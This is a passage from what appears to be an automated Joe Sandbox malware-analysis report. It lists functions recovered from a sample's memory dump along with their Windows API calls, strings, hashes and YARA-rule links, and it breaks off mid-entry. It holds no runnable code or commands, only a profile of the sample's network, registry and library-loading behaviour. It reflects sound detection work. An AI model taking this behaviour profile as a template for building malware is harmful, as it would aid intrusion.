Instruction Fuzzy Hash: B951ADB1508309AAD725AF28C849A7FBFE8FF95350F040A2DFA95D71D0DB68DD048B52

Function 005A3137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005A3277
_memmove.LIBCMT ref: 005A3310
_free.LIBCMT ref: 005A3336
_memmove.LIBCMT ref: 005A33E9

Strings

_Z, xrefs: 005A3322
3cZ, xrefs: 005A3225

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove$_free
String ID: 3cZ$_Z
API String ID: 2620147621-549921992
Opcode ID: 4fe4e11924843e3eb0ae4763a9d8b2411021d74e4ccc6aff243c605ad5b9ff7b
Instruction ID: 708a3fb847d5686679398684a8162be55713728b6210b60650b67df36db16e53
Opcode Fuzzy Hash: 4fe4e11924843e3eb0ae4763a9d8b2411021d74e4ccc6aff243c605ad5b9ff7b
Instruction Fuzzy Hash: 94511671A083418FDB25CF28C485A6FBBE5BF8A314F44492DF98987351EB31E901CB82

Function 005A6192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005A6248
_memmove.LIBCMT ref: 005A62E4
_memset.LIBCMT ref: 005A6308

Strings

3cZ, xrefs: 005A62AF
ERCP, xrefs: 005A61B3

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memset$_memmove
String ID: 3cZ$ERCP
API String ID: 2532777613-1051156537
Opcode ID: e6f0dbd25666ab7674b13a2f19a957c3771f9f672f39b295214c24b74b581996
Instruction ID: 51d5de4e616a71b49b3e7077f5285c702d015fab746364121e31bbbf883cb365
Opcode Fuzzy Hash: e6f0dbd25666ab7674b13a2f19a957c3771f9f672f39b295214c24b74b581996
Instruction Fuzzy Hash: 1F518D71900706DBDB24CF65C9857AEBFE4FF45314F24496EE48ACB281E770AA45CB50

Function 005F2753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F27C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 005F27DC
DeleteMenu.USER32(?,00000007,00000000), ref: 005F2822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00655890,00000000), ref: 005F286B

Strings

0, xrefs: 005F27B5

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: eb4b9c56c85119866beaa128ae06700cba316fb2f0866bfb0ac6544a60e9468e
Instruction ID: f532280f3df1b1c91c320e0df2f1f4842e0936b92b2d952519dea531128e627d
Opcode Fuzzy Hash: eb4b9c56c85119866beaa128ae06700cba316fb2f0866bfb0ac6544a60e9468e
Instruction Fuzzy Hash: B041A0B02043469FDB20DF24C845B6ABFE9FF85754F04892EFAA597291D738A805CB52

Function 0060D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0060D7C5

Part of subcall function 0059784B: _memmove.LIBCMT ref: 00597899

Strings

cdecl, xrefs: 0060D81C
stdcall, xrefs: 0060D847
winapi, xrefs: 0060D836
none, xrefs: 0060D8A0

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 2208d0a8229c13c900e2e0d9846f230c85c53e2ab86c677fa81cfd446f9d07a9
Instruction ID: ad0c7cec110cbe485a2895e035ce2491f4bf852439459c98720176a79495f42f
Opcode Fuzzy Hash: 2208d0a8229c13c900e2e0d9846f230c85c53e2ab86c677fa81cfd446f9d07a9
Instruction Fuzzy Hash: 4631A37151461AABCF04EF94C8559FFBBB6FF45320B108B29E825977D1DB31A905CB80

Function 005E8E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 005EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 005EAABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 005E8F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 005E8F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 005E8F57

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

Strings

ListBox, xrefs: 005E8ED3
ComboBox, xrefs: 005E8E9E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: f9fc8dc11a720cd2738854023f988ad6754ae65dfba5300c49d805c7621650c1
Instruction ID: 9809f60fe5639e61714ee6e29de2b8cdc07186d4c34294d9f41f7cbf39907cf3
Opcode Fuzzy Hash: f9fc8dc11a720cd2738854023f988ad6754ae65dfba5300c49d805c7621650c1
Instruction Fuzzy Hash: 99213471A00209BEDF18ABB1DC49DFFBF6AEF45320B04452AF465971E0DF355849D650

Function 0060182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0060184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00601872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 006018A2
InternetCloseHandle.WININET(00000000), ref: 006018E9

Part of subcall function 00602483: GetLastError.KERNEL32(?,?,00601817,00000000,00000000,00000001), ref: 00602498
Part of subcall function 00602483: SetEvent.KERNEL32(?,?,00601817,00000000,00000000,00000001), ref: 006024AD

Strings

, xrefs: 00601893

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 79de2c62e599cad80048b4f580d7ff50a9fe036316eb80fc4e67d8586212fbe8
Instruction ID: eaeb46665aae6a5987505c931d23b29f10e597d0f92449ebfe3959392a86a596
Opcode Fuzzy Hash: 79de2c62e599cad80048b4f580d7ff50a9fe036316eb80fc4e67d8586212fbe8
Instruction Fuzzy Hash: 9D21B0B1540208BFEB159F60DC85EFF77EEEB49754F10812AF405AA280EA209E0557A1

Function 006163E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00591D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00591D73
Part of subcall function 00591D35: GetStockObject.GDI32(00000011), ref: 00591D87
Part of subcall function 00591D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00591D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00616461
LoadLibraryW.KERNEL32(?), ref: 00616468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0061647D
DestroyWindow.USER32(?), ref: 00616485

Strings

SysAnimate32, xrefs: 0061643C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 02fbc6bfb8894688723024d50ed1685d1a0f72768323cace7634f83e37261946
Instruction ID: accb4574acf2c96b0f04089f6edc31dbd89908102131cb6d76fbba11be122ee2
Opcode Fuzzy Hash: 02fbc6bfb8894688723024d50ed1685d1a0f72768323cace7634f83e37261946
Instruction Fuzzy Hash: 8D219279100205BFEF108FA4DC44EFB37EEEB59328F189629F950921A0D731DC91A760

Function 005F6D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 005F6DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005F6DEF
GetStdHandle.KERNEL32(0000000C), ref: 005F6E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 005F6E3B

Strings

nul, xrefs: 005F6E36

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 6d1954d9846604305c79100a3d66ea6fd78ce2a1b216780b053743fb7f07f36f
Instruction ID: a66ed0caefd309a840918de7e86b91d592c3c2a1173d3caaa8c1559a4824358c
Opcode Fuzzy Hash: 6d1954d9846604305c79100a3d66ea6fd78ce2a1b216780b053743fb7f07f36f
Instruction Fuzzy Hash: 8921A47560020EABDB209F69DC05AAA7FF9FF94720F204A19FEA0D72D0D7749950DB50

Function 005F6E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 005F6E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005F6EBB
GetStdHandle.KERNEL32(000000F6), ref: 005F6ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 005F6F06

Strings

nul, xrefs: 005F6F01

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 575613c5ff3f5dfac1e4e400fadd90e0eedaf927e5d416a15c9763b3a691663a
Instruction ID: 986e9e5c1a3213ed8cc83ab7e2836bed681397bcd8c0410e2a9848c05604763b
Opcode Fuzzy Hash: 575613c5ff3f5dfac1e4e400fadd90e0eedaf927e5d416a15c9763b3a691663a
Instruction Fuzzy Hash: 0D21927A6003099BDB209F69DC04ABB7BA9BF55720F204A19FFE0D72D0D7749950CB50

Function 005FAC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 005FAC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 005FACA8
__swprintf.LIBCMT ref: 005FACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,0061F910), ref: 005FACFF

Strings

%lu, xrefs: 005FACBB

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: f4d10e25c436611651093f19a88b05b98f11b25d38b3ca070fdd7382ebbd78fd
Instruction ID: a133dcbb6acfa552f3ad8f3fe1e2edb6e32f62cdd43b7b0ac738be6c15dfeca9
Opcode Fuzzy Hash: f4d10e25c436611651093f19a88b05b98f11b25d38b3ca070fdd7382ebbd78fd
Instruction Fuzzy Hash: 90217170A0010AAFCB10DF69C949DEE7BB8FF89314B044469F909AB251DB31EA41CB21

Function 005F1142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,005EFCED,?,005F0D40,?,00008000), ref: 005F115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,005EFCED,?,005F0D40,?,00008000), ref: 005F1184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,005EFCED,?,005F0D40,?,00008000), ref: 005F118E
Sleep.KERNEL32(?,?,?,?,?,?,?,005EFCED,?,005F0D40,?,00008000), ref: 005F11C1

Strings

@_, xrefs: 005F119D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID: @_
API String ID: 2875609808-3248580346
Opcode ID: 8c415c4d48c6da1eb0718d3ea429dfe4fb7714b30780d848274d06405aac12d6
Instruction ID: 6b516558360a9f9938a93cad48f6bb7725443267d6e044260dd61a83461ca4c3
Opcode Fuzzy Hash: 8c415c4d48c6da1eb0718d3ea429dfe4fb7714b30780d848274d06405aac12d6
Instruction Fuzzy Hash: 5D110631D0091DE7CF00AFA5D849AEEBF78BB09711F048556EA41B2240CB749550CBA9

Function 005F1AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 005F1B19

Strings

EXISTS, xrefs: 005F1B41
KEYS, xrefs: 005F1B30
APPEND, xrefs: 005F1B52
REMOVE, xrefs: 005F1B1F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 87d1755feda9e495022d88269da20bd4afe2ca37b021a9543cde884fd627d421
Instruction ID: 444a0e65a18c6239a08fb164ee399e56b7623d0c6fd18265b75b7d2e15b0b8d8
Opcode Fuzzy Hash: 87d1755feda9e495022d88269da20bd4afe2ca37b021a9543cde884fd627d421
Instruction Fuzzy Hash: 1811A130900209CFCF04EF64D8659FEBBB5FF65304B1088A5D85467292EB326D06CB44

Function 0060EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0060EC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0060EC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0060ED6A
CloseHandle.KERNEL32(?), ref: 0060EDEB

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 8bfd454688f1e7f0baac8aa6e50e2aba0abe82f467c8e49ccd647f9b6e570e1b
Instruction ID: 3786a8951270bc9bca6754fadf9e1332cccab4453d5971e4dc397317963d54eb
Opcode Fuzzy Hash: 8bfd454688f1e7f0baac8aa6e50e2aba0abe82f467c8e49ccd647f9b6e570e1b
Instruction Fuzzy Hash: D1815E716443119FDB24EF28C84AB6ABBE5BF84710F04881DF999DB3D2DA71AC418B91

Function 00610037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 00610E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0060FDAD,?,?), ref: 00610E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006100FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0061013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00610183
RegCloseKey.ADVAPI32(?,?), ref: 006101AF
RegCloseKey.ADVAPI32(00000000), ref: 006101BC

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 7f3c59818a441149feee53be2c73cafd6c2a91b3cc5163fe77e75552f8226ee7
Instruction ID: 2c7a19afcdf63e969f8ee21cc9456e11f279df3c28787447b642e741a3a93113
Opcode Fuzzy Hash: 7f3c59818a441149feee53be2c73cafd6c2a91b3cc5163fe77e75552f8226ee7
Instruction Fuzzy Hash: BB518F31208205AFDB04EF68C885EAABBF9FF88314F44891DF59587291DB71E985CB52

Function 0060D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0060D927
GetProcAddress.KERNEL32(00000000,?), ref: 0060D9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 0060D9C6
GetProcAddress.KERNEL32(00000000,?), ref: 0060DA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0060DA21

Part of subcall function 00595A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,005F7896,?,?,00000000), ref: 00595A2C
Part of subcall function 00595A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,005F7896,?,?,00000000,?,?), ref: 00595A50

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: eb4b6947732bdb7d6103186aee83d47b931b5ffdeb30dec94f9c557954d78e1d
Instruction ID: fcc18151ed2973971cea1b81f0b91d2b57cc2b20e351cef317430b075b0ae7a7
Opcode Fuzzy Hash: eb4b6947732bdb7d6103186aee83d47b931b5ffdeb30dec94f9c557954d78e1d
Instruction Fuzzy Hash: D9511B35A04206DFCB04EFA8C4899AEBBF6FF49310B148159E855AB352D731AD45CF91

Function 005FE571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 005FE61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 005FE648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 005FE687

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 005FE6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 005FE6B4

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: de11e531250fae8d88920467ba5de56956621ce6adfbbcf8ba0474a17282c62f
Instruction ID: a691513340f9ea81a81450b42fda3acd3cdd64caed2c43ab0c8dae7da3740905
Opcode Fuzzy Hash: de11e531250fae8d88920467ba5de56956621ce6adfbbcf8ba0474a17282c62f
Instruction Fuzzy Hash: A751FB35A0010ADFCF01EF68C9869AEBBF5FF49314B1480A9E909AB361DB35ED11DB50

Function 0061A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
